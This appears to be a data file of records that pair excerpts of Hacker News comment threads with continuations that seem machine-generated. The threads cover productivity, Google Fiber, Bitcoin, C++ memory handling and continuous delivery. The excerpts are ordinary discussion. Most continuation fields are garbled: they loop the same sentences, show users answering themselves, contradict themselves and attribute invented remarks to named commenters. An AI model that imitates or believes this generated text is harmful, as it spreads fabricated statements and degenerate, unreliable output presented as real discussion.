FWIW the Sean Hannity example in the article seems like a weird strawman\nconflating consumer protection laws with \"name and shame\" accountability. If\nit's wrong to evict someone for XYZ reason, that should be protected by the\nlaw, not by fear of being \"named\" as the landlord. [TBC I am no fan of Sean\nHannity.]\n\n~~~\nflomo\n> Honestly property ownership being default-public seems like a weird\n> anachronism\n\nLand registry is a necessary function of local government. But this is one of\nthose things which was historically only available within a government office,\nand now can be found in a second on the internet.\n\nPersonally I would be perfectly okay if my local government required\ndisclosure of the personal ownership of LLC property owners. But I have no\nidea if that's constitutional or legal under federal laws.\n\n"} +{"output_text": "ivation\nis a short term thing, discipline is a long term thing.\n\n------\njimmyvalmer\nI've found that I'm most productive in the morning. I'm not sure why, but I\nthink it's because I'm not as tired in the morning.\n\nI've found that I'm most productive in the evening. I'm not sure why, but I\nthink it's because I'm not as tired in the evening.\n\nI've found", "input_text": " enable yourself to pursue addictive behaviors.\n\nI\u2019ve just read a book on this called _The Biology of Desire_, the thesis of\nwhich is addiction is not a \u201cdisease\u201d. More of a dysfunctional inter operation\nof brain systems in response to anxiety and trauma. It has several stories of\nhow people recovered and reconfigured their minds.\n\n------\nmenacingly\nI discovered that I'm only really useful before about 1pm, so I get up early\nand take advantage of that time as much as possible. After that, I handle\nemails, scheduling meetings, the stuff that doesn't require thinking too much.\n\nSometimes I get a second wind and want to do intense thinking later in the\nevening, but usually I ignore it to avoid burnout.\n\nI fought it for a long time, but it's just how I'm wired.\n\n------\nxchaotic\nI think very few in the Western culture will encourage that, but if it's your\nnature, don't fight it too much, you don't have to be the hero that ships app\nnumber 1000000021 in the app store. Get or keep a comfy '9 to 5' corporate\njob, get a gym membership and enjoy life the way you enjoy it and not the way\nis trendy in 2018. Humans are not built to be systematic.\n\n------\ndtx1\nWhat helped me here are two things:\n\n1\\. The book getting things done by david allen. He just very explains to you\nhow organizing works or how it often fails and what to do about it. Basically\na smart person guide to keeping organized\n\n2\\. Realizing that it wasn't motivation i was lacking cause that is fleeting\nand temporary but discipline. Not motivated? Fuck it, do it anyway. Mot"} +{"output_text": "\nstrings/blob/master/blns.txt#L633)\n\n------\njames_s_tayler\nI'm not sure if this is a good idea, but I've been thinking about a way to\nautomatically generate a list of strings that are likely to cause problems\nwhen used in a filename.\n\nI'm not sure if this is a good idea, but I've been thinking about a way to\nautomatically generate a list of strings that", "input_text": " lot of sense too, and I hadn't put sufficient work into how\nthat's implemented -- retrospectively that makes perfect sense.\n\n~~~\nvanderZwan\nThis made me wonder if anyone had tried combining word2vec with emojis, and\nthen I came across this:\n\n[https://github.com/uclmr/emoji2ve](https://github.com/uclmr/emoji2ve)\n\n~~~\npeteretep\nwhich is a dead link\n\n~~~\nsatbyy\nCorrect link:\n[https://github.com/uclmr/emoji2vec](https://github.com/uclmr/emoji2vec)\n\n~~~\nvanderZwan\nApologies, and thanks!\n\n------\njakeogh\nHere's a tool to generate problematic filenames:\n[https://github.com/jakeogh/angryfiles](https://github.com/jakeogh/angryfiles)\n\n------\nsolidsnack9000\n[https://github.com/minimaxir/big-list-of-naughty-\nstrings/blo...](https://github.com/minimaxir/big-list-of-naughty-\nstrings/blob/master/blns.txt#L633)\n\n> Strings which punish the fools who use cat/type on this file\n\n------\nConfiks\nHello human. This is a message from the Matrix. You've been in a coma for 20\nyears. Please write back.\n\n[https://github.com/minimaxir/big-list-of-naughty-\nstrings/blo...](https://github.com/minimaxir/big-list-of-naughty-"} +{"output_text": "merc\nI'm not sure I agree with that. I think it's more like the customer is always\nwrong.\n\n~~~\n11thEarlOfMar\nI think it's more like the customer is always right, but the customer is\nalways wrong.\n\n------\njimmaswell\nI'm not sure I agree with the premise that the customer is always right.\n\n~~~\njimmaswell\nI'm not sure I agree with the premise that", "input_text": " Meridian, and the cumulative\naltitude rounding errors caused a sizable discontinuity.\n\n~~~\ntigershark\nI hope that you mean Greenwich, aka meridian _zero_ rather than _null_\nmeridian. I don't really think that the latter exists unless you are an old C\nprogrammer flying _quite high_ right now.\n\n~~~\nmicrotherion\nHeh. I hadn't realized that the German usage in this case did not transfer\ndirectly into English. Yes, I meant the prime / Greenwich meridian.\n\n------\nrburhum\nI worked in the mapping (GIS) pipeline for MS Flight Simulator. The amount of\ntools we wrote just for QA was on par with what countries use for their census\n(I also worked on those st ESRI). I try to be of the philosophy of love and\nobsess about your customers, but every industry has fellows like this that\nmake you question your beliefs. Still love them though... (mostly)\n\n------\nJustSomeNobody\nHow many thousands of dollars could MS have saved if they had asked that\nquestion first?\n\n------\nsarreph\nI love the Boeing management anecdote being referenced in comparison to Bill\nGates nudging you off'f an email he receives![0]\n\nGreat nugget to pull out if you have a manager with a penchant for stating the\nobvious!\n\n[0] -\n[https://blogs.msdn.microsoft.com/oldnewthing/20100705-00/?p=...](https://blogs.msdn.microsoft.com/oldnewthing/20100705-00/?p=13503)\n\n------\n11thEarlOfMar\nBecause the customer is always right.\n\n~~~\n6string"} +{"output_text": "\" left in Louisville.\n\n~~~\njedberg\n> If you click on no other link about Google Fiber in Louisville, click on\n> this one. This scene is repeated all over the city.\n\nI'm curious, what is the \"dark fiber\" that you're referring to?\n\n~~~\nowenmarshall\nI'm referring to the dark fiber that Google was supposed to be installing.\n\n~~~\njedberg\nI'm not sure what you", "input_text": " users clearly opposing the decision.\n\nTo be fair, users aren\u2019t customers. People don\u2019t have any right regarding your\nproduct if you give them for free.\n\n~~~\nandrewla\nThose are by analogy, but in the case of Fiber, which we're talking about\nhere, the users are customers. So what rights do they have now?\n\n------\nowenmarshall\nTo try and hijack the top post with some of the comments I've scattered across\nthis thread:\n\nGoogle did _a remarkably poor job_ in Louisville, and it's absolutely no\nsurprise to me that they're giving up.\n\nGoogle's strategy was to build a FTTH network with microtrenching. In\npractice, this meant cutting a 2\" deep groove in city streets, placing a fiber\noptic cable in it, and using an expanding rubber gasket material to cover the\ngroove.\n\nThis failed in _spectacular fashion_. One of the best pictures was this:\n[https://www.wdrb.com/news/belknap-neighborhood-residents-\ncon...](https://www.wdrb.com/news/belknap-neighborhood-residents-concerned-\nover-sloppy-installation-of-high-\nspeed/article_4bc2a61e-8640-57f0-aba9-3dd4cb3d39e5.html)\n\n... a fiber optic cable, barely buried under the surface of the road, exposed\nafter a few freeze/thaw cycles.\n\nIf you click on no other link about Google Fiber in Louisville, click on this\none. This scene is repeated _all over the city_.\n\nThere won't be much in the way of \"dark fiber"} +{"output_text": "you can try it for free.\n\n------\njoshu\nI'm not sure I'd want to wear a wristband that tells me when I'm awake.\n\n~~~\nmike_h\nI'm not sure I'd want to wear a wristband that tells me when I'm awake.\n\n~~~\njoshu\nI'm not sure I'd want to wear a wristband that tells me when I'm awake.\n\n------\nmike_h", "input_text": " finally shipping (for real this time?). I hope it\nis worth the wait.\n\n------\nSephr\nYou're missing Android 2.3 on \n\n------\ncoolswan\nI've been using the beta product for some time now. Have to say when I got it\nbecame totally worth it just to monitor my sleep.\n\nThe tagging system while sort of awkward to do right before you sleep, lets\nyou categorize everything over time and see how things like a cough, sleeping\non the couch instead of the bed or even a broken AC affects your sleep.\n\nThe price is dirt cheap for something this interesting. Get it!\n\n------\ngeekfactor\nAny thoughts on putting a buzzer in the wristband?\n\nThere may be an interesting angle for married couples in doing so. I'm\ninterested in the sleep-tech and prospects of \"feeling better,\" but the thing\nthat would be really intriguing to me is the idea of something that can wake\nme up without an alarm blaring, which my wife _hates_.\n\n~~~\nmike_h\nThe overall UX isn't going to be as nice as with WakeMate, and there aren't\ncurrently any analytics, but if you want to take the technology for a spin you\ncan use my app Circadian Alarm (has a silent feature):\n\n[http://itunes.apple.com/us/app/circadian-\nalarm/id330721657?m...](http://itunes.apple.com/us/app/circadian-\nalarm/id330721657?mt=8)\n\nAnyone wants to try it, send me an email and I'll give you a coupon code so\n"} +{"output_text": "://www.buzzfeed.com/krystieyandoli/facts-that-prove-you-should-\nread-more-books)\n\n~~~\njamesaguilar\nI think the problem is that people are reading more books, but not necessarily\nbetter books.\n\n~~~\ncodeulike\nI think that's a fair point. I think the problem is that people are reading\nmore books, but not necessarily better books.\n\n------\n", "input_text": " myself putting on some of the best TV there has\never been, and then doing something else while it's on, like checking email or\nfacebook, or reading HN. So I don't really absorb it.\n\nI don't want to cut out tv, but I do want to be able to concentrate on it, and\nI do want to read more books again. And get control of my sleeping patterns\nwhich have always, always been up the wazoo anyway.\n\nSo perhaps I shall join in and try to do as the author of this post has -\nstart reading, deny the instant-gratification urges and reclaim my brain and\nmy attention span.\n\n------\ncodeulike\nDistraction might be a problem for some of us, but its important to remember\nthat people are reading more books now than they ever have at any point in\nhistory, even if you only count paper books and especially if you count\ne-books.\n\n[http://www.theatlantic.com/technology/archive/2012/04/the-\nne...](http://www.theatlantic.com/technology/archive/2012/04/the-next-time-\nsomeone-says-the-internet-killed-reading-books-show-them-this-chart/255572/)\n\n[http://edition.cnn.com/2012/04/05/tech/gaming-\ngadgets/e-read...](http://edition.cnn.com/2012/04/05/tech/gaming-\ngadgets/e-reader-survey-pew-gahran/)\n\n[http://www.buzzfeed.com/krystieyandoli/facts-that-prove-\nyoun...](http"} +{"output_text": " 1, rangesum(M,X).\n rangesum(N,X) :- M is N + 1, rangesum(M,X).\n rangesum(N,X) :- N > 0, N1 is N - 1, rangesum(N1,X).\n rangesum(N,X) :- N < 0, N1 is N + 1, rangesum(N1,X).\n \n\nI'm sure", "input_text": "spolsky%20type%20compiler&f=false)\n\n------\ninglor\nI don't understand this post at all. He started with wanting compile time\nvalidation of the invariant (\"A wizard cannot wield a sword\") - then talked\nabout how runtime solutions were not good and then ended up with a solution\nthat __does not verify that invariant in compile time at all __.\n\nHe just ended up with a language where all code is written in a specific\nlanguage programmers have to learn and errors are in another language.\n\nThe generic constraint solution he had in the middle (part 2) was actually\npretty decent because hey: if Wizards and Warriors can't yield the same\nweapons - and the weapon is a property of the supertype then __they are not\ninterchangeable as players__. You need a different interface.\n\n------\narchimedespi\nNice approach; this is a common sort of dilemma for API design.\n\n------\naskafriend\nFor anyone else who got excited about basketball...this isn't about the NBA :(\n\n \nSum of 1 to 1000000000 in different programming languages - dcro\nhttp://stackoverflow.com/q/18046347/1027148\n======\ntsahyt\nHaskell\n\n \n \n foldl' (+) 0 [1..1000000000]\n \n\nYou _could_ use sum, but that will eat up _a lot_ of RAM because of the\nlaziness.\n\nEDIT: For the fun of it, I decided to do the same in a slightly more esoteric\nlanguage, so here's a Prolog version (given that your stack is big enough)\n\n \n \n rangesum(0,0).\n rangesum(N,X) :- M is N -"} +{"output_text": "stain, you're right, I was being a bit too harsh.\n\n------\njak1192\nI'm not sure why this is getting downvoted. It's a very interesting\nperspective.\n\n~~~\njstanley\nIt's not getting downvoted because it's interesting. It's getting downvoted\nbecause it's wrong.\n\n~~~\njak1192\nI'm not sure why you're being downvoted. I'm", "input_text": "izations in the galaxy, it's likely that it's an average sized\ncivilization. A random other individual in the galaxy would be likely from a\nlarger civilization.\n\nI don't think either way of thinking is really justified.\n\nYou can extend this to a doomsday argument by the way. Since I am alive now,\nit's most likely that most people are alive now. Hence in the past and in the\nfuture, there will be less people alive.\n\n1:\n[https://news.ycombinator.com/item?id=10149286](https://news.ycombinator.com/item?id=10149286)\n\n~~~\njstanley\nThis is good reasoning.\n\nCan you expand on the \"waking amnesiac problem\"? Google is coming up with\nnothing.\n\n~~~\nGravityloss\nEdited the original to include the actual name, sleeping beauty paradox.\n\n------\ngarbage_stain\n\"Not even wrong\". This entire analysis is built on reasonable statistics which\nare predicated on dubious and unprovable assumptions, which invalidate the\nentire thing.\n\nConsider \"the size of alien species\". Okay... so we are extrapolating about\nthe size of beings we know nothing about based on those beings that have come\nto existence in our particular situation? Assuming that the distribution of\nweight across animals on Earth is the same as the distribution of weight\nacross beings in the universe is dubious.\n\nThis is a wonderful example of Brandolini's law.\n\n~~~\njak1192\nThat is not an example of Brandolini's law. It took a whole website to spew\nthe bullshit but only 3 or so sentences for you to refute it.\n\n~~~\nklue07\ngarbage_"} +{"output_text": " and problem solving.\n\n~~~\njasonkester\nI'm not sure if I should be offended by the downvotes, or if I should be\nthankful that I'm not the only one who feels this way.\n\n~~~\njasonkester\nI'm not sure if I should be offended by the downvotes, or if I should be\nthankful that I'm not the only one who feels this way.\n\n~~~\njasonkester", "input_text": ".g., strings,\nints, arrays, etc.). Learn about classes, functions, inheritance, etc. These\nare the building blocks of language, if you'll permit extending the analogy--\nit's a bit like knowing how to structure a sentence, capitalize, punctuate,\netc. Learn the language of programming before you ever try to learn a\nprogramming language. This is, perhaps, what you're missing. You're using a\nprogramming language to understand programming. Take a step back and\nunderstand programming itself first. Then sit back down with your language and\ndo programming.\n\nRegardless of chosen language, the task is the same and the result should\n(usually) be the same. The chosen language is really just an implementation\ndetail. You can write a program in Ruby, Python, C, PHP, etc., and it's still\ngoing to be the same program. Most programmers, I believe, tend to choose the\ngrammar & syntax they like best. But the job of programming remains the same.\n\n------\njasonkester\nYou're not going to like the answer, but:\n\nImmediately.\n\nLike in the first 5 minutes. When I was seven years old.\n\nAnd frankly, if it didn't happen like that for you, you're pretty much\nscrewed.\n\nEvery good programmer I've ever known started doing it young and immediately\njust \"got it\". Most mediocre programmers I know followed the path you're on,\nlearning it in a class in school, fighting to get things done, eventually\ncoming up with ways to solve particular problems, but never attaining fluency.\n\nTry not to feel bad about it. It's just about the way your brain is wired.\nGood programmers have a specific something wrong with their brain that makes\nthem ridiculously good at logic"} +{"output_text": "\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\nscriptle\nI'm not sure I understand the point of this either.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n------\nscriptle\nI'm not sure I understand the point of this.\n\n------\nscriptle\nI'm not sure I understand the point of this.\n\n------\nscriptle\nI", "input_text": "~~~\nreeses\nYou can make transistors with some...hazardous components, but you may want to\nstart with relays or tubes and resistors (which could, theoretically, just be\nvarying lengths/guages of wire) and build NAND gates. It would be big, hot,\nnoisy, slow, and a huge waste of your time, but there were computers before\nsemiconductors.\n\n~~~\nSomeone\nFor the curious: here's how you make your own tubes from glass, metal wire and\nmetal sheets: .\n\n------\nsmrtinsert\nBest coding I do is with a pen and paper.\n\n------\nVinzO\nThat makes me wonder what we will think 30 years from now, when we look back\nat how we develop software today.\n\n------\neksith\nArticles like this inspire awe and shame in me at the same time. Is there an\nemotion called Aweshame?\n\n------\nTomis02\n\"...typically I reach for the brain debugger before gdb\".\n\nGdb, wow. So he'll still coding like in 1985.\n\n \n\nReact and Angular Meeting - scriptle\nhttps://docs.google.com/document/d/1QZxArgMwidgCrAbuSikcB2iBxkffH6w0YB0C1qCsuH0\n\n======\norand\nFascinating comment from Christopher Chedeau of React: \"The end game isn\u2019t\nReactNative. We want the web to win. Would be great for Angular to try to\nimplement on top of our same primitives to see if we could share the work.\"\n"} +{"output_text": "\nprofitable.\n\n[1] [https://www.tesla.com/blog/tesla-financial-\nresults](https://www.tesla.com/blog/tesla-financial-results)\n\n~~~\npasta\nI don't think it's a good idea to compare Tesla with other car companies.\n\nThey are a tech company and they are not in the car business.\n\nThey are in the tech business and they are", "input_text": "\nthings as maintaining their zero.\n\n~~~\nforkLding\nYea I included the mechanics who do maintenance in my paragraphs when I was\ntalking about labourers, you might have to reread that part, when I was there,\nthey largely hang out in one roofed area within and arent utilized as heavily\nas you expect.\n\nI think from a layman perspective we expect mechanics to be constantly busy\nand fixing and maintaining but they only fix if there are issues and with a\ncompany like Toyota the realization is that they're so experienced and\nfamiliar that the maintenance costs reduce with time simply because its\ncheaper and much more efficient that way and because its much easier to fix\nthe same issues.\n\nAs well, a mechanic that is fully utilized is actually a bad thing as that\nmeans you plant is constantly being shut down to fix things and not producing\ncars, as thats how you fix things in a TPS system.\n\nAlso car plants nowadays are wonderfully automated, the materials were being\nshipped around using driverless carts with sensors and music to alert people\nor things in their way. Its also suprisingly devoid of human noise aside from\nthe machines clanking.\n\n------\npasta\nThe biggest cost of any car is R&D.\n\nSo this article doesn't tell us much.\n\n~~~\ntoomuchtodo\nIt tells you what Tesla's margins are going to be, as R&D cost per unit\ndecreases/is amortized over more units as production scales up. Check out\ntheir free cash flow [1]. You'll see that it's always in the red before\nproduction scales up (Model S first, then the X, and now the 3).\n\nTL;DR If production continues to scale up, the Model 3 will be wildly"} +{"output_text": " AT, or in the Marines, or something else challenging,\nover someone who went to an elite undergrad institution._\n\nI think you're missing the point. The point is that the elite institutions\naren't doing a good job of preparing students for the real world.\n\n~~~\njessaustin\n_The point is that the elite institutions aren 't doing a good job of\npreparing students for the real world._\n\nI don't think that's true.", "input_text": " top decile (or higher) of book-smarts --> can largely be done by online communities (not a full replacement for interpersonal interaction but better than what was available before)\n\n* Access to top-tier employers who didn't have time to look through every candidate out there, so economized their recruiting efforts at places where smart young people are concentrated --> this model made largely obsolete by internet\n\n* Access to lots of obscure books at college library --> made completely obsolete by internet\n\n* Access to great lectures --> made obsolete by internet / MOOCs\n\n* Access to a diversity of opinions, the exposure to which will make you a better and more informed person --> these days only applicable if you come from a very sheltered conservative background....otherwise college just reinforces existing biases\n\nIf I had to choose between two candidates with the same proficiency in a\ntestable skill set (JavaScript, GAAP accounting, laying brick, whatever else),\nat this point I'd probably prefer someone who spent four years working on a\nfishing boat, or trying to make it as a musician, or on a church mission, or\nhiking the PCT / CDT / AT, or in the Marines, or something else challenging,\nover someone who went to an elite undergrad institution. They just seem more\nand more like indoctrination mills that crank out entitled little whiners.\n\n//grumpy old man rant over\n\n~~~\nenjo\n_If I had to choose between two candidates with the same proficiency in a\ntestable skill set (JavaScript, GAAP accounting, laying brick, whatever else),\nat this point I 'd probably prefer someone who spent four years working on a\nfishing boat, or trying to make it as a musician, or on a church mission, or\nhiking the PCT / CDT /"} +{"output_text": " implementations\non Linux.\n\n~~~\nxroche\nI'm not sure what you mean.\n\n~~~\ndavidtgoldblatt\nI'm not sure what you mean.\n\n------\njlarocco\nI'm not sure I understand the point of this article.\n\nThe author is complaining that C++ is too complicated, and that it's\nimpossible to write a simple program in C++.\n\nBut the article doesn't really explain why C", "input_text": "ambiguate this by prescedence, though it would be very ugly in the lexer\n(you could never have a STARSTAR token, it would have to be handled in the\ngrammar) and would be terribly confusing.\n\n------\nxroche\nYep, this is my biggest issue with C++: you now have lambdas functions and an\ninsane template spec, but you just can not \"realloc\" a new[] array. Guys,\nseriously?\n\n~~~\nbnegreve\nIf you need to realloc a fixed size array, souldn't you use a std::vector\ninstead?\n\n~~~\nmarksamman\nYou probably should, but the problem is still there because std::vector\nimplementations don't use realloc. They call new[] with the new size, copy\nover the data and delete[] the old chunk. This eliminates the possibility to\ngrow the vector in-place.\n\n~~~\nbnegreve\nIt's the same with realloc: there is no guarantee that it will grow the chunk\nin place.\n\n~~~\nxroche\nNo. Modern realloc are efficient, when moving large memory blocks, because\nthey rely on the kernel ability to quickly relocate memory regions without\ninvolving memcpy() (through mremap() on Linux).\n\nEdit: shamelessly citing my blog entry on this subject:\n[http://blog.httrack.com/blog/2014/04/05/a-story-of-\nrealloc-a...](http://blog.httrack.com/blog/2014/04/05/a-story-of-realloc-and-\nlaziness/)\n\n~~~\ndavidtgoldblatt\nThis isn't true for either of the common high performance malloc"} +{"output_text": " college, you'll have a\nbigger bank account but you'll have a lot more debt to pay off.\n\n------\njoshu\nI dropped out of college. I'm not sure if it was the right choice, but I\nthink it was.\n\nI'm not sure if it was the right choice, but I think it was.\n\nI'm not sure if it was the right choice, but I think it was.\n\nI'm not sure if", "input_text": " that the time I spent in the trenches actually made me appreciate\nschool MORE. When I got back, my desire to learn was back. I don't think I\nwould have appreciated school as much if I hadn't just gotten out there.\n\nI've decided to count my time in the valley as \"studying abroad\" ;)\n\n------\nnorthisup\nDon't let somebody else tell you that your square peg needs to fit in that\nround hole over there.\n\nI have a B.S. and a M.S. in computer science and I am 100% confident that it\nwas the right choice /for me/. I also work at DISQUS with some of the smartest\nbest systems engineers I have ever known, none of them took computer science,\nonly some graduated college, and some never even finished high school.\nEducation is a very personal thing and America's system works for most people,\nbut when it feels wrong go find something else that feels right.\n\n~~~\njmcdonald-ut\nI couldn't agree more. As a current student, dropping out doesn't appeal to\nme. I enjoy the structure presented by my classes and the college social life\noutside of classes. This has been the right choice for me, but for others it\nmost certainly would not be.\n\nDo what you feel is right. When it comes to a big choice like this I feel like\nsubconsciously you just know what is right for you.\n\n------\nkyle_t\nSolid advice. If it doesn't work out and you quit your job to pursue the\nstartup you might have a smaller bank account but you will have another solid\nitem for your resume and it shouldn't be too hard to find a new job. If on the\nother hand it doesn't work out and you dropped out of"} +{"output_text": " hole in the ground and\nmeasured the distance, she'd get the right answer.\n\n~~~\nrickdale\nI'm not sure if you are being sarcastic or not. I'm not sure if you are\ntalking about the GPS or the programmer.\n\n~~~\nJoeAltmaier\nI'm not sure if you are being sarcastic or not. I'm not sure if you are\ntalking about the GPS or the programmer.\n\n------\njrockway", "input_text": "\nThis fact drives me insane. It's theoretically possible to write a perfect\npiece of software that can never fall down, break, blow up, etc. But it's\nactually pretty much impossible in practice unless you have either near\nunlimited resources (NASA in the 60's), but even with that you still might\nfail (Microsoft).\n\n------\nsynnik\nThere are two completely different conclusions that I would draw from his\nfacts:\n\n1) Most bugs are in code. But it might not be your code. Your code layers\nitself on top of many other layers of code that are outside of your control.\nLearning to deal with that will make a difference in your work.\n\n2) Know how everything works. I am always hocked at people who claim to be web\ndevelopers who don't even understand how an HTTP request/response works, much\nless what your browser does with the results. It is one of my interview\nquestions for tech folk - I ask them to explain to me exactly what happens on\nthe server when a browser sends it a request. Few people can give much detail\nhere. Most can only give a generic explanation of the actions taken, if that.\n\n------\nrickdale\nMy biz partner has a GPS system from garmin. He lives in the central time\nzone, but works in the eastern time zone. Any time we use the GPS it will\nalways add an hour to our trip when we are in EST.\n\nProgrammers aren't perfect. Practice makes permanents.\n\n~~~\nJoeAltmaier\nHa! And my sister went to Egypt and looked up the gps distance to home (Iowa):\n8000 miles. Off by 50%. Why? The programmer was doing cartesian distance\ninstead of great-circle. So yes, if she drilled a"} +{"output_text": " to\navoid taxes.\n\n~~~\njlgreco\nI think the point of the article is that the Tide bottles are not being\npurchased for their actual value, but rather for the perceived value of the\nbrand.\n\n~~~\nnorswap\nI think the point of the article is that the Tide bottles are not being\npurchased for their actual value, but rather for the perceived value of the\nbrand.\n\n------\nj", "input_text": " to becoming a subject on Snopes:\n\n\n\nIt seems that the writer at NYMag hit his word count by extending the\nbackground on the brand, since he had a ready source available with the\nmarketing/PR department at Procter. I think this could have been more\ninteresting if it went into the direction of exploring the economics at work.\n\n------\njustx1\nStolen bicycles are another example of a drug currency:\n[http://blog.priceonomics.com/post/30393216796/what-\nhappens-t...](http://blog.priceonomics.com/post/30393216796/what-happens-to-\nstolen-bicycles)\n\nInteresting read about the \"Economic Theory of Bike Crime\": \"...Using this\nrisk-return framework for crime, it begins to be clear why there is so much\nbike theft. For all practical purposes, stealing a bike is risk-free crime. It\nturns out there is a near zero chance you will be caught stealing a bike (see\nhere) and if you are, the consequences are minimal. \"\n\n------\nchrisballinger\nI'm surprised no one has made a money laundering joke yet.\n\n~~~\nryusage\nThis isn't reddit.\n\n~~~\nguyzero\nIn your dreams. This isn't 2008 Hacker News either.\n\n~~~\nryusage\nTrue enough, but it's still not the place for stupid pun threads.\n\n------\nnorswap\ntl;dr: Thieves and crackheads are using Tide bottles as currency, because\nthose are getting bought by some stores under their market value in order"} +{"output_text": " lot of assumptions about what Bitcoin is and what it\nshould be.\n\n> Bitcoin is a currency, not a payment system.\n\nBitcoin is a payment system. It's a currency that is used to pay for goods and\nservices.\n\n> Bitcoin is a store of value, not a medium of exchange.\n\nBitcoin is a medium of exchange. It's a store of value.\n\n> Bitcoin is a store of value, not a store of value.", "input_text": "\n~~~\npolyakoff\nThere is plenty of services like this nowadays. I recall TrensferGO and\nRevolut. There is even a service for fees comparison amongst those services,\ndeveloped be hackernews fellow reader:\n[https://news.ycombinator.com/item?id=20819538](https://news.ycombinator.com/item?id=20819538)\n\n~~~\ntoomuchtodo\nExcellent resource!\n\n------\nTooSmugToFail\nSo much nonsense in this article, don't know where to start...\n\n~~~\nIshKebab\nYeah I stopped reading after this:\n\n> At its core, bitcoin is just an extension of the old PGP, or Pretty Good\n> Privacy encryption protocol.\n\n------\nbasicplus2\nThis is also about getting out of being \"locked into\" a larger overall economy\nrun for the benefit of a few and creating local economies.\n\nPeople with land and/or skills could create new economies by trading directly\nwith each other with what they produce and opt out altogether..\n\nIn a way it is the final defence of a people against control and oppression or\ninsane hyperinflation, but is more dificult to do if you are stuck in a city\nor additcted to modern technology.\n\n------\nanm89\nAre they trying to say Bitcoin will not remain a totally unregulated, totally\ncompromised and idealistic cryptoanarchocapitalist utopia forever? Are they\ntrying to say that Bitcoin won't solve all of the world's problems and\nbringing on a new utopian era??\n\nI refuse to believe it. Because if that were true bitcoin would surely vanish\ninto thin air.\n\n------\nSargos\nThis article makes a"} +{"output_text": "pushed to the extreme, and it's nice to see that there are still places where\nit's not the default.\n\nI think the biggest benefit of continuous delivery is that it allows you to\nfocus on the business aspects of your product, rather than the technical\naspects. It's a lot easier to make a product that's easy to use and easy to\nunderstand, when you're not constantly worrying about whether or not your\ndeployments are going to break.\n", "input_text": "https://henrikwarne.com/2017/11/19/benefits-of-continuous-delivery/\n======\ncoldcode\nI find continuous delivery to the mobile app stores to be rather silly and\nwasteful, updating your app every two weeks for example consumes vast\nbandwidth especially for people with automatic updates on. The benefits of\nchanging apps on such a quick basis makes it unlikely customers will even\nnotice changes or be able to adapt to what's new or different. Being able to\ndelivery quickly is not the same as having it be automatically useful, just as\nbeing able to easily add some new functionality is not the same as having that\nbe useful or desirable to the end user.\n\n~~~\nchaosphere2112\nOn the bandwidth end, both Android and iOS do use incremental updates ([1],\n[2]); if the changes are something that you would be releasing eventually\nanyway, you're not wasting any bandwidth, and are instead loadbalancing it\nover multiple payment periods.\n\n[1]: [http://www.androidpolice.com/2016/07/23/new-play-store-\ntools...](http://www.androidpolice.com/2016/07/23/new-play-store-tools-help-\ndevelopers-to-shrink-the-size-of-app-updates/)\n\n[2]:\n[https://developer.apple.com/library/content/qa/qa1779/_index...](https://developer.apple.com/library/content/qa/qa1779/_index.html)\n\n------\nryanbrunner\nI like that this article doesn't focus too much on the technical aspects of\nauto-deploys and CI. I've been in a lot of places where the concepts were\n"} +{"output_text": "_owl\nI have a similar issue with the \"share\" button on the article. I have no\nproblem with it on a blog post, but when it is an article, it is a distraction\nfrom the content.\n\n------\njameshart\nI'm not sure I agree with the premise of the article.\n\nI think the problem is that the web is a very different medium than print.\n\nThe web is a medium that is designed to be read on a", "input_text": "ed. My 6yo reads for 30min+. Even my 3yo will happily look through\npicture books for 15-30min.\n\n~~~\nholri\nWell, if you happen to be a music teacher for kids you see the very poor\nconcentration levels of the average kid. You also see the progress of it over\ntime and age. And that nearly every parent is overestimating the skills of\ntheir own kids.\n\n------\ndigi_owl\nI don't have a problem reading when it is properly paginated like a book or\nebook. But when i read a online article it becomes something else because it\nis just a very long scroll of text. Perhaps the one thing the web really need\nis a pagination API...\n\n~~~\nwoah\nI prefer a long scroll of text. Less distraction. Books are paginated\narbitrarily, and it's quite a large aspect of the experience to be left up to\nrandom chance.\n\n~~~\n_asummers\nI agree. Having a scrollbar as a percentage completion indicator is a very\nnice thing. I can also highlight the text on the page where I was at in the\nlikely event I get distracted and have to move on to something else. At this\npoint, I do this out of habit on any article longer than a few paragraphs.\n\nSide note, if your site pops up a stupid SHARE THIS ON FACEBOOK AND TWITTER\nwhen someone highlights text, I most likely won't read your articles. I didn't\nread this one because Medium does this; SBNation articles do this, too and my\nbrowser now loads custom Javascript on their pages to remove it. It's\ndistracting and serves no real purpose, except to take me out of my flow of\nreading.\n\n~~~\ndigi"} +{"output_text": " by default. It's a good idea to disable it if you're using PHP\ninside a virtual host.\n\n~~~\njlgaddis\nI'm not sure why you're being downvoted.\n\n~~~\nkijin\nI'm not sure why you're being downvoted.\n\n------\njlgaddis\nI'm not sure why you're being downvoted.\n\n------\njlgaddis\nI'm not sure why you're", "input_text": " big deal.\n\n~~~\nmeowface\nThere's also the small issue that every minute that passes is another\npotential minute an attacker is stealing sensitive data, PII, and email/IM\nlogs from your company's internal network, and backdooring other servers,\ninstalling ransomware, etc. That requires far more than a wipe and restore to\ndeal with, and could potentially result in a massive financial and\nreputational loss.\n\n~~~\narpa\nThat seems far fetched in most saneish setups of PHP. The only risk, really,\nis the apps' own data. Which is also where microservices shine - chaining\nattacks like this is exponentially more difficult then. Unless, of course,\nyour app is a monolith, isn't sandboxed and segregated from the rest of\ninternal network (i.e. on the same server), and the rest of the network is\nvery, very vulnerable so the attacker can chain these exploits just right. The\npossibility is not that high if you're not a high profile target and if you're\na high profile target, well, you should know better than to keep all of your\neggs in the same basket. And if it's a shared vps where such things can\nactually happen, the hosting provider should take care if it.\n\n~~~\nmeowface\nI think you very greatly overestimate the typical level of isolation and\n\"sanity\" of most setups in general, let alone most PHP setups (which are\nlikely generally much worse than most other setups).\n\n~~~\narpa\nHave more faith in fellow man, brother!\n\n------\nkijin\nUbuntu has a try_files directive in /etc/nginx/snippets/fastcgi-php.conf that\nis included"} +{"output_text": "'s not going to be\nsupported in the future.\n\n~~~\nmwexler\nI agree, and I think that's a good thing. I think the Web SQL API is a good\nthing, and I think it's a good thing that it's not going to be supported in\nthe future. I think it's a good thing that it's not going to be supported in\nthe future because it's a standard that's been around for a while, and it's", "input_text": "liked the\nexperience (messy code/overhead) and haven't had any desire to write another\nwith a client side DB again. The bright side for is however it drove me to\nlearn iOS and Android development... not such a great day for the web though\nas I suspect my experience isn't unique.\n\n------\nmwexler\nAs always, there are some problems IndexedDB document stores solve well, and\nothers that SQL is really well suited for, and I think it's great to have both\noptions. What sucks is when people say \"Sure, we'll support that there is 